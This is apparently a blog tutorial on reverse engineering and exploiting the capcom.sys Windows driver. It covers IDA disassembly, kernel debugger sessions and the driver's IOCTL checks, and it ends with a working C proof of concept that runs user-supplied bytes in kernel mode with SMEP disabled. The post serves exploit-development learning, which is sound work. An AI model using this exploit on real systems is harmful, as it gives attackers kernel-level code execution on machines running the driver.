#
CapCom.sys Exploitation
#
Outline
A shorter post on reversing and exploiting the capcom.sys driver as a gentle introduction into the world of windows driver exploitation.
#
Reversing the Driver
The first thing to look at is the drivers device name. This is normally in the DriverEntry function and will be parsed as the second parameter to the IoCreateSymbolicLink
function.
Looking at the disassembly in IDA we can see the call to IoCreateSymbolicLink
:
call sub_103AC
lea rcx, [rsp+78h+SymbolicLinkName] ; DestinationString
mov rdx, r11 ; SourceString
call cs:RtlInitUnicodeString
lea rdx, [rsp+78h+DestinationString] ; DeviceName
lea rcx, [rsp+78h+SymbolicLinkName] ; SymbolicLinkName
call cs:IoCreateSymbolicLink
Above it there is a call to sub_103AC
which seems to be doing some sort weird byte magic, So instead of dealing with all that. I'm going to load the driver using OSRLoader and then finding the drivername at runtime.
In a kernel debugger hooked up to the target we can add the following breakpoints:
sxe ld capcom.sys // will break on image load
bp capcom+0x608
then loading and running the driver we will see that it hits our breakpoints:
kd> g
nt!DebugService2+0x5:
0010:fffff806`2a608d65 cc int 3
kd> bp capcom+0x683
breakpoint 0 redefined
kd> g
Breakpoint 0 hit
capcom+0x683:
0010:fffff806`3dc00683 ff157ffcffff call qword ptr [capcom+0x308 (fffff806`3dc00308)]
Then checking the value at rdx:
kd> du @rdx
fffff806`3dc00880 "\Device\Htsysm72FB"
So this the drivers device name.
Looking around more there is a weird looking function:
__int64 __fastcall sub_10524(void (__fastcall *a1)(_QWORD))
{
__int64 v2; // [rsp+20h] [rbp-28h] BYREF
void (__fastcall *v3)(PVOID (__stdcall *)(PUNICODE_STRING)); // [rsp+28h] [rbp-20h]
PVOID (__stdcall *v4)(PUNICODE_STRING); // [rsp+30h] [rbp-18h]
if ( *((void (__fastcall **)(_QWORD))a1 - 1) != a1 )
return 0i64;
v3 = (void (__fastcall *)(PVOID (__stdcall *)(PUNICODE_STRING)))a1;
v4 = MmGetSystemRoutineAddress;
v2 = 0i64;
disable_smep(&v2);
v3(v4);
enable_smep(&v2);
return 1i64;
}
As it disabled smep -> runs command -> enables smep it's super interesting. So how do we get to here?
#
Calling the vulnerable IOCTL
looking at the calling function it seems to be checking against this IOCTL: 0x0AA013044
. So lets create a quick POC that will call it and pass in a bunch of junk so we can debug the driver as it is processing the ioctl.
There are a bunch of different ways of loading a driver, I'm going to use OSRLoader for now as its the quickest
Calling the IOCTL is straight forward we can use CreateFile
to get a handle to the driver and DeviceIoControl
to issue the call
DWORD ioctl = 0x0AA013044;
HANDLE hDriver = CreateFileA("\\\\.\\Htsysm72FB", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Could not open handle to driver. Are you admin?\n");
return -1;
}
BYTE buffer[] = "AAAAAAAABBBBBBBB";
DWORD dwbytesreturned = 0;
if (!DeviceIoControl(hDriver, ioctl, buffer, sizeof(buffer), NULL, 0, &dwbytesreturned, NULL)) {
printf("[!] DeviceIoControl failed %lu\n", GetLastError());
}
Setting a breakpoint on the dispatch handler (capcom+0x590) and running the code:
push rbx
push rsi
push rdi
sub rsp, 20h
mov rax, qword ptr [rdx+0B8h]
mov rdi, qword ptr [rdx+18h]
After running the above we can see that rdi is a pointer to our data.
kd> da rdi
ffffdf0f`d357d6c0 "AAAAAAAABBBBBBBB"
Next we can find the input and output buffer sizes:
fffff806`92a705af 448b4810 mov r9d, dword ptr [rax+10h]
fffff806`92a705b3 448b4008 mov r8d, dword ptr [rax+8]
fffff806`92a705b7 488bda mov rbx, rdx
---
kd> r r9
r9=0000000000000011
kd> r r8
r8=0000000000000000
Next we can see the compare for the targeted ioctl:
capcom+0x5dd:
fffff801`440105dd 413bd2 cmp edx,r10d
kd> r edx
edx=aa013044
kd> r r10d
r10d=aa013044
Finally we have a check we dont pass:
capcom+0x5f3:
fffff801`440105f3 443bc8 cmp r9d,eax
---
kd> r eax
eax=8
kd> r r9d
r9d=11
#
Calling the right code path
This seems to be checking that the size of the data we pass in is equal to 8 bytes.
Sending only 8 bytes and getting back to where we were up to and get to another check, this time on the output buffer:
kd>
capcom+0x5f8:
fffff801`440105f8 443bc6 cmp r8d,esi
kd> r esi
esi=4
kd> r r8d
r8d=0
Modifying the code again to pass the check:
BYTE buffer[] = "AAAAAAAABBBBBBBB";
DWORD dwbytesreturned = 0;
DWORD outputbuffer = 0;
if (!DeviceIoControl(hDriver, ioctl, buffer, 8, &outputbuffer, 4, &dwbytesreturned, NULL)) {
printf("[!] DeviceIoControl failed %lu\n", GetLastError());
Next we see a very interesting operation:
kd>
capcom+0x607:
fffff801`44010607 488b0f mov rcx,qword ptr [rdi]
kd> dw rdi
ffff9204`c5eb2800 4141 4141 4141 4141 000c 642c 7ffd 0000
ffff9204`c5eb2810 dfff 642d 7ffd 0000 0000 0000 0000 0000
ffff9204`c5eb2820 0000 0000 0000 0000 0000 0000 0000 0000
ffff9204`c5eb2830 0000 0000 0000 0000 0000 0000 0000 0000
ffff9204`c5eb2840 0002 0000 0000 0000 0000 0000 0000 0000
ffff9204`c5eb2850 0000 0206 6d4d 6553 0000 0000 0000 0000
ffff9204`c5eb2860 0000 0000 0000 0000 0004 a30f 02b5 0000
ffff9204`c5eb2870 0fff a30f 02b5 0000 0000 0000 0000 0000
kd> t
capcom+0x60a:
fffff801`4401060a eb02 jmp capcom+0x60e (fffff801`4401060e)
kd> r rcx
rcx=4141414141414141
The above sets rcx to be our data and then bluescreens :D.
If we check the disassembly again:
mov rax, [rsp+48h+arg_0]
mov rcx, [rsp+48h+arg_0]
cmp [rax-8], rcx
We can see that the 8 bytes before our buffer have to point to the buffer. We can use some pointer magic to do this:
PBYTE buffer = VirtualAlloc(0, 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
*(PULONG_PTR)buffer = (ULONG_PTR)(buffer + 8);
*(PULONG_PTR)(buffer + 8) = 0x4141414141414141;
ULONG_PTR target = (ULONG_PTR)(buffer + 8);
if (!DeviceIoControl(hDriver, ioctl, &target, 8, &outputbuffer, 4, &dwbytesreturned, NULL)) {
printf("[!] DeviceIoControl failed %lu\n", GetLastError());
}
Then rerunning shows that we are executing the bytes at rcx / our input buffer:
kd> t
capcom+0x573:
fffff801`240f0573 ff542428 call qword ptr [rsp+28h]
kd> t
000001ae`43380008 41 ???
Instead of getting popping calc or getting shells I'm going to stop as I'm planning on covering all that in a later blog in detail.
#
Code POC
int main() {
DWORD ioctl = 0x0AA013044;
HANDLE hDriver = CreateFileA("\\\\.\\Htsysm72FB", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Could not open handle to driver. Are you admin?\n");
return -1;
}
DWORD dwbytesreturned = 0;
DWORD outputbuffer = 0;
PBYTE buffer = VirtualAlloc(0, 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
*(PULONG_PTR)buffer = (ULONG_PTR)(buffer + 8);
*(PULONG_PTR)(buffer + 8) = 0xcc90909090909090;
ULONG_PTR target = (ULONG_PTR)(buffer + 8);
if (!DeviceIoControl(hDriver, ioctl, &target, 8, &outputbuffer, 4, &dwbytesreturned, NULL)) {
printf("[!] DeviceIoControl failed %lu\n", GetLastError());
}
return 0;
}